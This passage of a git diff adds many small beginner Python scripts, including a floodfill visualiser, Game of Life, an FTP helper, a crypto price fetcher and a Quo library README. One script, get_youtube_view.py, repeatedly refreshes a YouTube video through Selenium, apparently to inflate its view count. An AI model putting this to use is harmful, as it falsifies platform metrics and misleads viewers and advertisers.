b/flappyBird_pygame/images/bird_wing_down.png differ diff --git a/flappyBird_pygame/images/bird_wing_up.png b/flappyBird_pygame/images/bird_wing_up.png new file mode 100644 index 00000000000..ce12d37842b Binary files /dev/null and b/flappyBird_pygame/images/bird_wing_up.png differ diff --git a/flappyBird_pygame/images/ground.png b/flappyBird_pygame/images/ground.png new file mode 100644 index 00000000000..2a8033d6510 Binary files /dev/null and b/flappyBird_pygame/images/ground.png differ diff --git a/flappyBird_pygame/images/pipe.png b/flappyBird_pygame/images/pipe.png new file mode 100644 index 00000000000..a49457d3e51 Binary files /dev/null and b/flappyBird_pygame/images/pipe.png differ diff --git a/flappyBird_pygame/images/pipe_body.png b/flappyBird_pygame/images/pipe_body.png new file mode 100644 index 00000000000..3eccf4a0ae9 Binary files /dev/null and b/flappyBird_pygame/images/pipe_body.png differ diff --git a/flappyBird_pygame/images/pipe_end.png b/flappyBird_pygame/images/pipe_end.png new file mode 100644 index 00000000000..6f1d38d883f Binary files /dev/null and b/flappyBird_pygame/images/pipe_end.png differ diff --git a/floodfill/demo.gif b/floodfill/demo.gif new file mode 100644 index 00000000000..5d0ab72ae38 Binary files /dev/null and b/floodfill/demo.gif differ diff --git a/floodfill/floodfill.py b/floodfill/floodfill.py new file mode 100644 index 00000000000..b4c39735f23 --- /dev/null +++ b/floodfill/floodfill.py @@ -0,0 +1,132 @@ +import pygame + +""" +Visualises how a floodfill algorithm runs and work using pygame +Pass two int arguments for the window width and the window height +`python floodfill.py ` +""" + + +class FloodFill: + def __init__(self, window_width, window_height): + self.window_width = int(window_width) + self.window_height = int(window_height) + + pygame.init() + pygame.display.set_caption("Floodfill") + self.display = pygame.display.set_mode((self.window_width, self.window_height)) + self.surface = pygame.Surface(self.display.get_size()) + self.surface.fill((0, 0, 0)) + + self.generateClosedPolygons() # for visualisation purposes + + self.queue = [] + + def generateClosedPolygons(self): + if self.window_height < 128 or self.window_width < 128: + return # surface too small + + from random import randint, uniform + from math import pi, sin, cos + + for n in range(0, randint(0, 5)): + x = randint(50, self.window_width - 50) + y = randint(50, self.window_height - 50) + + angle = 0 + angle += uniform(0, 0.7) + vertices = [] + + for i in range(0, randint(3, 7)): + dist = randint(10, 50) + vertices.append( + (int(x + cos(angle) * dist), int(y + sin(angle) * dist)) + ) + angle += uniform(0, pi / 2) + + for i in range(0, len(vertices) - 1): + pygame.draw.line( + self.surface, (255, 0, 0), vertices[i], vertices[i + 1] + ) + + pygame.draw.line( + self.surface, (255, 0, 0), vertices[len(vertices) - 1], vertices[0] + ) + + def run(self): + looping = True + while looping: + evsforturn = [] + for ev in pygame.event.get(): + if ev.type == pygame.QUIT: + looping = False + else: + evsforturn.append(ev) # TODO: Maybe extend with more events + self.update(evsforturn) + self.display.blit(self.surface, (0, 0)) + pygame.display.flip() + + pygame.quit() + + def update(self, events): + for ev in events: + if ev.type == pygame.MOUSEBUTTONDOWN and ev.button == 1: + self.queue.append(ev.pos) + + if not len(self.queue): + return + + point = self.queue.pop(0) + + pixArr = pygame.PixelArray(self.surface) + + if pixArr[point[0], point[1]] == self.surface.map_rgb((255, 255, 255)): + return + + pixArr[point[0], point[1]] = (255, 255, 255) + + left = (point[0] - 1, point[1]) + right = (point[0] + 1, point[1]) + top = (point[0], point[1] + 1) + bottom = (point[0], point[1] - 1) + + if ( + self.inBounds(left) + and left not in self.queue + and pixArr[left[0], left[1]] == self.surface.map_rgb((0, 0, 0)) + ): + self.queue.append(left) + if ( + self.inBounds(right) + and right not in self.queue + and pixArr[right[0], right[1]] == self.surface.map_rgb((0, 0, 0)) + ): + self.queue.append(right) + if ( + self.inBounds(top) + and top not in self.queue + and pixArr[top[0], top[1]] == self.surface.map_rgb((0, 0, 0)) + ): + self.queue.append(top) + if ( + self.inBounds(bottom) + and bottom not in self.queue + and pixArr[bottom[0], bottom[1]] == self.surface.map_rgb((0, 0, 0)) + ): + self.queue.append(bottom) + + del pixArr + + def inBounds(self, coord): + if coord[0] < 0 or coord[0] >= self.window_width: + return False + elif coord[1] < 0 or coord[1] >= self.window_height: + return False + return True + + +if __name__ == "__main__": + import sys + + floodfill = FloodFill(sys.argv[1], sys.argv[2]) + floodfill.run() diff --git a/folder_size.py b/folder_size.py old mode 100644 new mode 100755 index 8f63213cea5..d0ad968e12d --- a/folder_size.py +++ b/folder_size.py @@ -8,18 +8,40 @@ # Description : This will scan the current directory and all subdirectories and display the size. -import os # Load the library module -directory = '.' # Set the variable directory to be the current directory -dir_size = 0 # Set the size to 0 +import os +import sys # Load the library module and the sys module for the argument vector''' -fsizedicr = {'Bytes': 1, 'Kilobytes': float(1)/1024, 'Megabytes': float(1)/(1024*1024), 'Gigabytes': float(1)/(1024*1024 - * - 1024)} - -for (path, dirs, files) in os.walk(directory): # Walk through all the directories. For each iteration, os.walk returns the folders, subfolders and files in the dir. - for file in files: # Get all the files - filename = os.path.join(path, file) - dir_size += os.path.getsize(filename) # Add the size of each file in the root dir to get the total size. - -for key in fsizedicr: #iterating through the dictionary - print ("Folder Size: " + str(round(fsizedicr[key]*dir_size, 2)) + " " + key) # round function example: round(4.2384, 2) ==> 4.23 +try: + directory = sys.argv[ + 1 + ] # Set the variable directory to be the argument supplied by user. +except IndexError: + sys.exit("Must provide an argument.") + +dir_size = 0 # Set the size to 0 +fsizedicr = { + "Bytes": 1, + "Kilobytes": float(1) / 1024, + "Megabytes": float(1) / (1024 * 1024), + "Gigabytes": float(1) / (1024 * 1024 * 1024), +} +for path, dirs, files in os.walk( + directory +): # Walk through all the directories. For each iteration, os.walk returns the folders, subfolders and files in the dir. + for file in files: # Get all the files + filename = os.path.join(path, file) + dir_size += os.path.getsize( + filename + ) # Add the size of each file in the root dir to get the total size. + +fsizeList = [ + str(round(fsizedicr[key] * dir_size, 2)) + " " + key for key in fsizedicr +] # List of units + +if dir_size == 0: + print("File Empty") # Sanity check to eliminate corner-case of empty file. +else: + for units in sorted(fsizeList)[ + ::-1 + ]: # Reverse sort list of units so smallest magnitude units print first. + print("Folder Size: " + units) diff --git a/four_digit_num_combination.py b/four_digit_num_combination.py new file mode 100644 index 00000000000..dce43559fb3 --- /dev/null +++ b/four_digit_num_combination.py @@ -0,0 +1,18 @@ +"""small script to learn how to print out all 4-digit num""" + + +# ALL the combinations of 4 digit combo +def four_digit_combinations(): + """print out all 4-digit numbers in old way""" + numbers = [] + for code in range(10000): + code = str(code).zfill(4) + print(code) + numbers.append(code) + + +# Same as above but more pythonic +def one_line_combinations(): + """print out all 4-digit numbers""" + numbers = [str(i).zfill(4) for i in range(10000)] + print(numbers) diff --git a/framework/quo.md b/framework/quo.md new file mode 100644 index 00000000000..b2505a7b066 --- /dev/null +++ b/framework/quo.md @@ -0,0 +1,721 @@ +[![Downloads](https://pepy.tech/badge/quo)](https://pepy.tech/project/quo) +[![PyPI version](https://badge.fury.io/py/quo.svg)](https://badge.fury.io/py/quo) +[![Wheel](https://img.shields.io/pypi/wheel/quo.svg)](https://pypi.com/project/quo) +[![Windows Build Status](https://img.shields.io/appveyor/build/gerrishons/quo/master?logo=appveyor&cacheSeconds=600)](https://ci.appveyor.com/project/gerrishons/quo) +[![pyimp](https://img.shields.io/pypi/implementation/quo.svg)](https://pypi.com/project/quo) +[![RTD](https://readthedocs.org/projects/quo/badge/)](https://quo.readthedocs.io) +[![DOI](https://zenodo.org/badge/DOI/10.5281/zenodo.5848515.svg)](https://doi.org/10.5281/zenodo.5848515) +[![licence](https://img.shields.io/pypi/l/quo.svg)](https://opensource.org/licenses/MIT) +[![Twitter Follow](https://img.shields.io/twitter/follow/gerrishon_s.svg?style=social)](https://twitter.com/gerrishon_s) + + +[![Logo](https://raw.githubusercontent.com/scalabli/quo/master/pics/quo.png)](https://github.com/scalabli/quo) + + +`Forever Scalable` + +**Quo** is a toolkit for writing Command-Line Interface(CLI) applications and a TUI (Text User Interface) framework for Python. + +Quo is making headway towards composing speedy and orderly CLI and TUI applications while forestalling any disappointments brought about by the failure to execute a python application. +Simple to code, easy to learn, and does not come with needless baggage. + +## Compatibility +Quo works flawlessly with Linux, OSX, and Windows. +Quo requires Python `3.8` or later. + + +## Features +- [x] Support for Ansi, RGB and Hex color models +- [x] Support for tabular presentation of data +- [x] Intuitive progressbars +- [x] Code completions +- [x] Nesting of commands +- [x] Customizable Text User Interface _(TUI)_ dialogs. +- [x] Automatic help page generation +- [x] Syntax highlighting +- [x] Autosuggestions +- [x] Key Binders + +## Getting Started +### Installation +You can install quo via the Python Package Index (PyPI) + +``` +pip install -U quo + +``` + +In order to check your installation you can use +``` +python -m pip show quo +``` +Run the following to test Quo output on your terminal: +``` +python -m quo + +``` +![test](https://github.com/scalabli/quo/raw/master/docs/images/test.png) + +:bulb: press ``Ctrl-c`` to exit +# Quo Library +Quo contains a number of builtin features you c +an use to create elegant output in your CLI. + +## Quo echo +To output formatted text to your terminal you can import the [echo](https://quo.readthedocs.io/en/latest/introduction.html#quick-start) method. +Try this: + +**Example 1** +```python + from quo import echo + + echo("Hello, World!", fg="red", italic=True, bold=True) +``` +

+ +

+ + +**Example 2** +```python + from quo import echo + + echo("Blue on white", fg="blue", bg="white") + +``` +

+ +

+ + +Alternatively, you can import [print](https://quo.readthedocs.io/en/latest/printing_text.html#print) + +**Example 1** +```python + from quo import print + + print('This is bold') + print('This is italic') +``` +**Example 2** + +```python + from quo import print + + print('This is underlined') + +``` +

+ +

+ +**Example 3** +```python + from quo import print + + print("Quo is ") +``` +

+ +

+ +**Example 4** +```python + # Colors from the ANSI palette. + print('This is red') + print('!') + + # Returns a callable + session = Prompt(bottom_toolbar=toolbar) + session.prompt('> ') + +``` + +![validate](https://raw.githubusercontent.com/scalabli/quo/master/docs/images/bottom-toolbar.png) + + +**Example 4** + +``Placeholder text`` + +A placeholder text that's displayed as long as no input s given. + +:bulb: This won't be returned as part of the output. + +```python + + from quo.prompt import Prompt + from quo.text import Text + + session = Prompt(placeholder=Text('(please type something)')) + session.prompt("What is your name?: ") +``` +

+ +

+ +**Example 5** + +``Coloring the prompt.`` + + +```python + + from quo.color import Color + from quo.prompt import Prompt + + style = Color("fg:red") + session = Prompt(style=style) + session.prompt("Type something: ") + +``` + +

+ +

+ +**Example 6** + +``Autocomplete text`` + +Press [Tab] to autocomplete +```python + + from quo.prompt import Prompt + from quo.completion import WordCompleter + example = WordCompleter(['USA', 'UK', 'Canada', 'Kenya']) + session = Prompt(completer=example) + session.prompt('Which country are you from?: ') +``` +![Autocompletion](https://github.com/scalabli/quo/raw/master/docs/images/autocompletion.png) + +**Example 7** + +``Autosuggest text`` + +Auto suggestion is a way to propose some input completions to the user. Usually, the input is compared to the history and when there is another entry starting with the given text, the completion will be shown as gray text behind the current input. +Pressing the right arrow → or ctrl-e will insert this suggestion, alt-f will insert the first word of the suggestion. +```python + + from quo.history import MemoryHistory + from quo.prompt import Prompt + + MemoryHistory.append("import os") + MemoryHistory.append('print("hello")') + MemoryHistory.append('print("world")') + MemoryHistory.append("import path") + + session = Prompt(history=MemoryHistory, suggest="history") + + while True: + session.prompt('> ') +``` + + +Read more on [Prompt](https://quo.readthedocs.io/latest/prompt.html) + +## Quo Console + +For more control over quo terminal content, import and construct a `Console` object. + + +``Bar`` + +Draw a horizontal bar with an optional title, which is a good way of dividing your terminal output in to sections. + +```python + + from quo.console import Console + + console = Console() + console.bar("I am a bar") + +``` + +

+ +

+ + +``Launching Applications`` + +Quo supports launching applications through `Console.launch` + +**Example 1** + +```python + + from quo.console import Console + + console = Console() + console.launch("https://quo.rtfd.io/") + +``` + +**Example 2** + +```python + + from quo.console import Console + + console = Console() + console.launch("/home/path/README.md", locate=True) + +``` + +``Rule`` + +Used for drawing a horizontal line. + +**Example 1** + +```python + + from quo.console import Console + + console = Console() + console.rule() + +``` +

+ +

+ +**Example 2** + +A multicolored line. + +```python + + from quo.console import Console + + console = Console() + console.rule(multicolored=True) + +``` + +

+ +

+ + + +``Spin``🔁 + +Quo can create a context manager that is used to display a spinner on stdout as long as the context has not exited + +```python + + import time + from quo.console import Console + + console = Console() + + with console.spin(): + time.sleep(3) + print("Hello, World") + +``` +Read more on [Console](https://quo.readthedocs.io/en/latest/console.html) + +## Quo Dialogs + +High level API for displaying dialog boxes to the user for informational purposes, or to get input from the user. + +**Example 1** + +Message Box dialog +```python + + from quo.dialog import MessageBox + + MessageBox( + title="Message pop up window", + text="Do you want to continue?\nPress ENTER to quit." + ) + +``` +![Message Box](https://github.com/scalabli/quo/raw/master/docs/images/messagebox.png) + +**Example 2** + +Input Box dialog + +```python + + from quo.dialog import InputBox + + InputBox( + title="InputBox shenanigans", + text="What Country are you from? :" + ) + +``` +![Prompt Box](https://github.com/scalabli/quo/raw/master/docs/images/promptbox.png) + +Read more on [Dialogs](https://quo.readthedocs.io/en/latest/dialogs.html) + + +## Quo Key Binding🔐 + +A key binding is an association between a physical key on akeyboard and a parameter. + +```python + + from quo import echo + from quo.keys import bind + from quo.prompt import Prompt + + session = Prompt() + + # Print "Hello world" when ctrl-h is pressed + @bind.add("ctrl-h") + def _(event): + echo("Hello, World!") + + session.prompt("") + +``` + +Read more on [Key bindings](https://quo.readthedocs.io/en/latest/kb.html) + + +## Quo Parser + +You can parse optional and positional arguments with Quo and generate help pages for your command-line tools. + +```python + from quo.parse import Parser + + parser = Parser(description= "This script prints hello NAME COUNT times.") + + parser.argument('--count', default=3, type=int, help='number of greetings') + parser.argument('name', help="The person to greet") + + arg = parser.parse() + + for x in range(arg.count): + print(f"Hello {arg.name}!") + +``` + +```shell + $ python prog.py John --count 4 + +``` + +And what it looks like: + +

+ +

+ +Here's what the help page looks like: + +```shell + $ python prog.py --help +``` +

+ +

+ +Read more on [Parser](https://quo.readthedocs.io/en/latest/parse.html) + +## Quo ProgressBar +Creating a new progress bar can be done by calling the class **ProgressBar** +The progress can be displayed for any iterable. This works by wrapping the iterable (like ``range``) with the class **ProgressBar** + +```python + + import time + from quo.progress import ProgressBar + + with ProgressBar() as pb: + for i in pb(range(800)): + time.sleep(.01) +``` +![ProgressBar](https://raw.githubusercontent.com/scalabli/quo/master/docs/images/simple-progress-bar.png) + +Read more on [Progress](https://quo.readthedocs.io/en/latest/progress.html) + + + +## Quo Tables + +This offers a number of configuration options to set the look and feel of the table, including how borders are rendered and the style and alignment of the columns. + +**Example 1** + +```python + + from quo.table import Table + + data = [ + ["Name", "Gender", "Age"], + ["Alice", "F", 24], + ["Bob", "M", 19], + ["Dave", "M", 24] + ] + + Table(data) + +``` +![tabulate](https://raw.githubusercontent.com/scalabli/quo/master/docs/images/tables/table.png) + +**Example 2** + +Right aligned table + +```python + + from quo.table import Table + + data = [ + ["Name", "Gender", "Age"], + ["Alice", "F", 24], + ["Bob", "M", 19], + ["Dave", "M", 24] + ] + Table(data, align="right") + +``` + +![tabulate](https://raw.githubusercontent.com/scalabli/quo/master/docs/images/tables/right-table.png) + +**Example 3** + +Colored table + +```python + + from quo.table import Table + + data = [ + ["Name", "Gender", "Age"], + ["Alice", "F", 24], + ["Bob", "M", 19], + ["Dave", "M", 24] + ] + + Table(data, style="fg:green") + +``` + + +![tabulate](https://raw.githubusercontent.com/scalabli/quo/master/docs/images/tables/colored-table.png) + +**Example 4** + +Grid table + +```python + + from quo.table import Table + + data = [ + ["Name", "Gender", "Age"], + ["Alice", "F", 24], + ["Bob", "M", 19], + ["Dave", "M", 24] + ] + + Table(data, theme="grid") + +``` + + +![tabulate](https://raw.githubusercontent.com/scalabli/quo/master/docs/images/tables/grid-table.png) + + + + +Read more on [Table](https://quo.readthedocs.io/en/latest/table.html) + +## Quo Widgets +A collection of reusable components for building full screen applications. + +``Frame`` 🎞️ + +Draw a border around any container, optionally with a title. + +```python + + from quo import container + from quo.widget import Frame, Label + + content = Frame( + Label("Hello, World!"), + title="Quo: python") + + #Press Ctrl-C to exit + container(content, bind=True, full_screen=True) + +``` +![Frame](https://raw.githubusercontent.com/scalabli/quo/master/docs/images/widgets/frame.png) + +``Label`` + +Widget that displays the given text. It is not editable or focusable. + +**Example 1** + +This will occupy a minimum space in your terminal + +```python + + from quo import container + from quo.widget import Label + + content = Label("Hello, World", style="fg:black bg:red") + + container(content) + +``` +**Example 2** + +This will be a fullscreen application + +```python + + from quo import container + from quo.widget import Label + + content = Label("Hello, World", style="fg:black bg:red") + + # Press Ctrl-C to exit + container(content, bind=True, full_screen=True) + +``` +**Example 3** + +Full screen application using a custom binding key. + +```python + + from quo import container + from quo.keys import bind + from quo.widget import Label + + content = Label("Hello, World", style="fg:black bg:red") + + #Press Ctrl-Z to exit + @bind.add("ctrl-z") + def _(event): + event.app.exit() + + container(content, bind=True, full_screen=True) + +``` + +Read more on [Widgets](https://quo.readthedocs.io/en/latest/widgets.html) + + +For more intricate examples, have a look in the [examples](https://github.com/scalabli/quo/tree/master/examples) directory and the documentation. + +## Donate🎁 + +In order to for us to maintain this project and grow our community of contributors. +[Donate](https://ko-fi.com/scalabli) + + + +## Quo is... + +**Simple** + If you know Python you can easily use quo and it can integrate with just about anything. + + + + +## Getting Help + +### Community + +For discussions about the usage, development, and the future of quo, please join our Google community + +* [Community👨‍👩‍👦‍👦](https://groups.google.com/g/scalabli) + +## Resources + +### Bug tracker + +If you have any suggestions, bug reports, or annoyances please report them +to our issue tracker at +[Bug tracker](https://github.com/scalabli/quo/issues/) or send an email to: + + 📥 scalabli@googlegroups.com | scalabli@proton.me + + + + +## Blogs💻 + +→ How to build CLIs using [quo](https://www.python-engineer.com/posts/cli-with-quo/) + +## License📑 + +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +This software is licensed under the `MIT License`. See the [License](https://github.com/scalabli/quo/blob/master/LICENSE) file in the top distribution directory for the full license text. + + +## Code of Conduct +Code of Conduct is adapted from the Contributor Covenant, +version 1.2.0 available at +[Code of Conduct](http://contributor-covenant.org/version/1/2/0/) + diff --git a/friday.py b/friday.py new file mode 100644 index 00000000000..544a1d7516d --- /dev/null +++ b/friday.py @@ -0,0 +1,15 @@ +import pyttsx3 +import os + +var = 1 + +while var > 0: + pyttsx3.speak("How can I help you Sir") + print("How can I help you Sir : ", end="") + x = input() + if (("notepad" in x) or ("Notepad" in x)) and ( + ("open" in x) or ("run" in x) or ("Open" in x) or ("Run" in x) + ): + pyttsx3.speak("Here it is , sir") + os.system("notepad") + print("anything more") diff --git a/ftp_send_receive.py b/ftp_send_receive.py new file mode 100644 index 00000000000..6495fe44613 --- /dev/null +++ b/ftp_send_receive.py @@ -0,0 +1,38 @@ +""" +File transfer protocol used to send and receive files using FTP server. +Use credentials to provide access to the FTP client + +Note: Do not use root username & password for security reasons + Create a seperate user and provide access to a home directory of the user + Use login id and password of the user created + cwd here stands for current working directory +""" + +from ftplib import FTP + +ftp = FTP("xxx.xxx.x.x") # Enter the ip address or the domain name here +ftp.login(user="username", passwd="password") +ftp.cwd("/Enter the directory here/") + +""" + The file which will be received via the FTP server + Enter the location of the file where the file is received +""" + + +def receive_file(filename="example.txt"): + with open(filename, "wb") as out_file: + ftp.retrbinary("RETR " + filename, out_file.write, 1024) + ftp.quit() + + +""" + The file which will be sent via the FTP server + The file send will be send to the current working directory +""" + + +def send_file(filename="example.txt"): + with open(filename, "rb") as in_file: + ftp.storbinary("STOR " + filename, in_file) + ftp.quit() diff --git a/gambler.py b/gambler.py new file mode 100644 index 00000000000..e56d5dd65d1 --- /dev/null +++ b/gambler.py @@ -0,0 +1,22 @@ +import random +from sys import argv + +stake = int(argv[1]) +goals = int(argv[2]) +trials = int(argv[3]) + +wins = 0 +bets = 0 + +for i in range(trials): + cash = stake + while cash > 0 and cash < goals: + bets += 1 + if random.randrange(0, 2) == 0: + cash += 1 + else: + cash -= 1 + if cash == goals: + wins += 1 +print("Your won: " + str(100 * wins // trials) + "$") +print("Your bets: " + str(bets // trials)) diff --git a/game_of_life/05_mixed_sorting.py b/game_of_life/05_mixed_sorting.py new file mode 100644 index 00000000000..86caf1eaaea --- /dev/null +++ b/game_of_life/05_mixed_sorting.py @@ -0,0 +1,71 @@ +# Mixed sorting + +""" +Given a list of integers nums, sort the array such that: + +All even numbers are sorted in increasing order +All odd numbers are sorted in decreasing order +The relative positions of the even and odd numbers remain the same +Example 1 +Input + +nums = [8, 13, 11, 90, -5, 4] +Output + +[4, 13, 11, 8, -5, 90] +Explanation + +The even numbers are sorted in increasing order, the odd numbers are sorted in +decreasing number, and the relative positions were +[even, odd, odd, even, odd, even] and remain the same after sorting. +""" + +# solution + +import unittest + + +def mixed_sorting(nums): + positions = [] + odd = [] + even = [] + sorted_list = [] + for i in nums: + if i % 2 == 0: + even.append(i) + positions.append("E") + else: + odd.append(i) + positions.append("O") + even.sort() + odd.sort() + odd.reverse() + j, k = 0, 0 + for i in range(len(nums)): + if positions[i] == "E": + while j < len(even): + sorted_list.append(even[j]) + j += 1 + break + else: + while k < len(odd): + sorted_list.append(odd[k]) + k += 1 + break + + return sorted_list + + +# DO NOT TOUCH THE BELOW CODE + + +class TestMixedSorting(unittest.TestCase): + def test_1(self): + self.assertEqual(mixed_sorting([8, 13, 11, 90, -5, 4]), [4, 13, 11, 8, -5, 90]) + + def test_2(self): + self.assertEqual(mixed_sorting([1, 2, 3, 6, 5, 4]), [5, 2, 3, 4, 1, 6]) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/game_of_life/game_o_life.py b/game_of_life/game_o_life.py new file mode 100644 index 00000000000..045c3715b51 --- /dev/null +++ b/game_of_life/game_o_life.py @@ -0,0 +1,135 @@ +"""Conway's Game Of Life, Author Anurag Kumar(mailto:anuragkumarak95@gmail.com) + +Requirements: + - numpy + - random + - time + - matplotlib + +Python: + - 3.5 + +Usage: + - $python3 game_o_life + +Game-Of-Life Rules: + + 1. + Any live cell with fewer than two live neighbours + dies, as if caused by under-population. + 2. + Any live cell with two or three live neighbours lives + on to the next generation. + 3. + Any live cell with more than three live neighbours + dies, as if by over-population. + 4. + Any dead cell with exactly three live neighbours be- + comes a live cell, as if by reproduction. +""" + +import random +import sys + +import numpy as np + +from matplotlib import use as mpluse + +mpluse("TkAgg") +from matplotlib import pyplot as plt +from matplotlib.colors import ListedColormap + +usage_doc = "Usage of script: script_nama " + +choice = [0] * 100 + [1] * 10 +random.shuffle(choice) + + +def create_canvas(size): + canvas = [[False for i in range(size)] for j in range(size)] + return canvas + + +def seed(canvas): + for i, row in enumerate(canvas): + for j, _ in enumerate(row): + canvas[i][j] = bool(random.getrandbits(1)) + + +def run(canvas): + """This function runs the rules of game through all points, and changes their status accordingly.(in the same canvas) + @Args: + -- + canvas : canvas of population to run the rules on. + + @returns: + -- + None + """ + canvas = np.array(canvas) + next_gen_canvas = np.array(create_canvas(canvas.shape[0])) + for r, row in enumerate(canvas): + for c, pt in enumerate(row): + # print(r-1,r+2,c-1,c+2) + next_gen_canvas[r][c] = __judge_point( + pt, canvas[r - 1 : r + 2, c - 1 : c + 2] + ) + + canvas = next_gen_canvas + del next_gen_canvas # cleaning memory as we move on. + return canvas.tolist() + + +def __judge_point(pt, neighbours): + dead = 0 + alive = 0 + # finding dead or alive neighbours count. + for i in neighbours: + for status in i: + if status: + alive += 1 + else: + dead += 1 + + # handling duplicate entry for focus pt. + if pt: + alive -= 1 + else: + dead -= 1 + + # running the rules of game here. + state = pt + if pt: + if alive < 2: + state = False + elif alive == 2 or alive == 3: + state = True + elif alive > 3: + state = False + else: + if alive == 3: + state = True + + return state + + +if __name__ == "__main__": + if len(sys.argv) != 2: + raise Exception(usage_doc) + + canvas_size = int(sys.argv[1]) + # main working structure of this module. + c = create_canvas(canvas_size) + seed(c) + fig, ax = plt.subplots() + fig.show() + cmap = ListedColormap(["w", "k"]) + try: + while True: + c = run(c) + ax.matshow(c, cmap=cmap) + fig.canvas.draw() + ax.cla() + except KeyboardInterrupt: + # do nothing. + pass diff --git a/game_of_life/sample.gif b/game_of_life/sample.gif new file mode 100644 index 00000000000..0bf2ae1f95e Binary files /dev/null and b/game_of_life/sample.gif differ diff --git a/gcd.py b/gcd.py new file mode 100644 index 00000000000..11a5ce189fd --- /dev/null +++ b/gcd.py @@ -0,0 +1,16 @@ +""" +although there is function to find gcd in python but this is the code which +takes two inputs and prints gcd of the two. +""" + +a = int(input("Enter number 1 (a): ")) +b = int(input("Enter number 2 (b): ")) + +i = 1 +gcd = -1 +while i <= a and i <= b: + if a % i == 0 and b % i == 0: + gcd = i + i = i + 1 + +print("\nGCD of {0} and {1} = {2}".format(a, b, gcd)) diff --git a/generate_permutations.py b/generate_permutations.py new file mode 100644 index 00000000000..26d473d1d32 --- /dev/null +++ b/generate_permutations.py @@ -0,0 +1,17 @@ +def generate(A, k): + if k == 1: + print(A) + return + else: + for i in range(k): + generate(A, k - 1) + if i < k - 1: + if k % 2 == 0: + A[i], A[k - 1] = A[k - 1], A[i] + else: + A[0], A[k - 1] = A[k - 1], A[0] + + +A = [1, 2, 3, 4] # test-case +x = len(A) +generate(A, x) diff --git a/get_crypto_price.py b/get_crypto_price.py new file mode 100644 index 00000000000..a263e4294b8 --- /dev/null +++ b/get_crypto_price.py @@ -0,0 +1,30 @@ +import ccxt + + +def getprice(symbol, exchange_id): + symbol = symbol.upper() # BTC/USDT, LTC/USDT, ETH/BTC, LTC/BTC + exchange_id = exchange_id.lower() # binance, #bitmex + symbol_1 = symbol.split("/") + exchange = getattr(ccxt, exchange_id)( + { + # https://github.com/ccxt/ccxt/wiki/Manual#rate-limit + "enableRateLimit": True + } + ) + try: + v_price = exchange.fetch_ticker(symbol) + r_price = v_price["info"]["lastPrice"] + if symbol_1[1] == "USD" or symbol_1[1] == "USDT": + v_return = "{:.2f} {}".format(float(r_price), symbol_1[1]) + return v_return + else: + v_return = "{:.8f} {}".format(float(r_price), symbol_1[1]) + return v_return + except (ccxt.ExchangeError, ccxt.NetworkError) as error: + # add necessary handling or rethrow the exception + return "Got an error", type(error).__name__, error.args + raise + + +print(getprice("btc/usdt", "BINANCE")) +print(getprice("btc/usd", "BITMEX")) diff --git a/get_info_remoute_srv.py b/get_info_remoute_srv.py index 6b6a917c346..eb08c2c9a95 100644 --- a/get_info_remoute_srv.py +++ b/get_info_remoute_srv.py @@ -4,32 +4,30 @@ # Last Modified : - # Version : 1.0.0 -# Modifications : +# Modifications : # Description : this will get info about remoute server on linux through ssh connection. Connect these servers must be through keys import subprocess -import sys +HOSTS = ("proxy1", "proxy") -HOSTS = ['proxy1', 'proxy'] - -COMMANDS = ['uname -a', 'uptime'] +COMMANDS = ("uname -a", "uptime") for host in HOSTS: result = [] for command in COMMANDS: - ssh = subprocess.Popen(["ssh", "%s" % host, command], + ssh = subprocess.Popen( + ["ssh", "%s" % host, command], shell=False, stdout=subprocess.PIPE, - stderr=subprocess.PIPE) + stderr=subprocess.PIPE, + ) result.append(ssh.stdout.readlines()) - print('--------------- '+host+' --------------- ') + print("--------------- " + host + " --------------- ") for res in result: if not res: print(ssh.stderr.readlines()) break else: print(res) - - diff --git a/get_likes_on_FB.py b/get_likes_on_FB.py new file mode 100644 index 00000000000..cb999c76128 --- /dev/null +++ b/get_likes_on_FB.py @@ -0,0 +1,52 @@ +from __future__ import print_function + +import json +import sys +import urllib + +accessToken = "TOKENVALUE" # YOUR ACCESS TOKEN GETS INSERTED HERE +userId = sys.argv[1] # USERID +limit = 100 + +url = ( + "https://graph.facebook.com/" + + userId + + "/posts?access_token=" + + accessToken + + "&limit=" + + str(limit) +) # FB Link +data = json.load(urllib.urlopen(url)) +id = 0 + +print(str(id)) + +for item in data["data"]: + time = item["created_time"][11:19] + date = item["created_time"][5:10] + year = item["created_time"][0:4] + +if "shares" in item: + num_share = item["shares"]["count"] +else: + num_share = 0 +if "likes" in item: + num_like = item["likes"]["count"] +else: + num_like = 0 + +id += 1 + +print( + str(id) + + "\t" + + time.encode("utf-8") + + "\t" + + date.encode("utf-8") + + "\t" + + year.encode("utf-8") + + "\t" + + str(num_share) + + "\t" + + str(num_like) +) diff --git a/get_youtube_view.py b/get_youtube_view.py index dde2c346904..77f1b1a29b8 100644 --- a/get_youtube_view.py +++ b/get_youtube_view.py @@ -1,13 +1,49 @@ +""" +Created on Thu Apr 27 16:28:36 2017 +@author: barnabysandeford +""" +# Currently works for Safari, but just change to whichever +# browser you're using. + import time -import webbrowser -#how much views you want +# Added pafy to get video length for the user +import pafy + +# Changed the method of opening the browser. +# Selenium allows for the page to be refreshed. +from selenium import webdriver + +# adding ability to change number of repeats +count = int(input("Number of times to be repeated: ")) +# Same as before +url = input("Enter the URL : ") + +refreshrate = None + +# tries to get video length using pafy +try: + video = pafy.new(url) + if hasattr(video, "length"): + refreshrate = video.length +# if pafy fails to work, prints out error and asks for video length from the user +except Exception as e: + print(e) + print("Length of video:") + minutes = int(input("Minutes ")) + seconds = int(input("Seconds ")) + # Calculating the refreshrate from the user input + refreshrate = minutes * 60 + seconds + +# Selecting Safari as the browser +driver = webdriver.Safari() -totalBreaks = 30 -countBreaks = 0 +if url.startswith("https://"): + driver.get(url) +else: + driver.get("https://" + url) -print("Enjoy your Time\n" +time.ctime()) -while(countBreaks < totalBreaks): - time.sleep(5) - webbrowser.open("https://www.youtube.com/watch?v=o6A7nf3IeeA") - countBreaks = countBreaks+1 +for i in range(count): + # Sets the page to refresh at the refreshrate. + time.sleep(refreshrate) + driver.refresh() diff --git a/google.py b/google.py new file mode 100755 index 00000000000..99a14b8c1c7 --- /dev/null +++ b/google.py @@ -0,0 +1,37 @@ +""" +Author: Ankit Agarwal (ankit167) +Usage: python google.py +Description: Script googles the keyword and opens + top 5 (max) search results in separate + tabs in the browser +Version: 1.0 +""" + 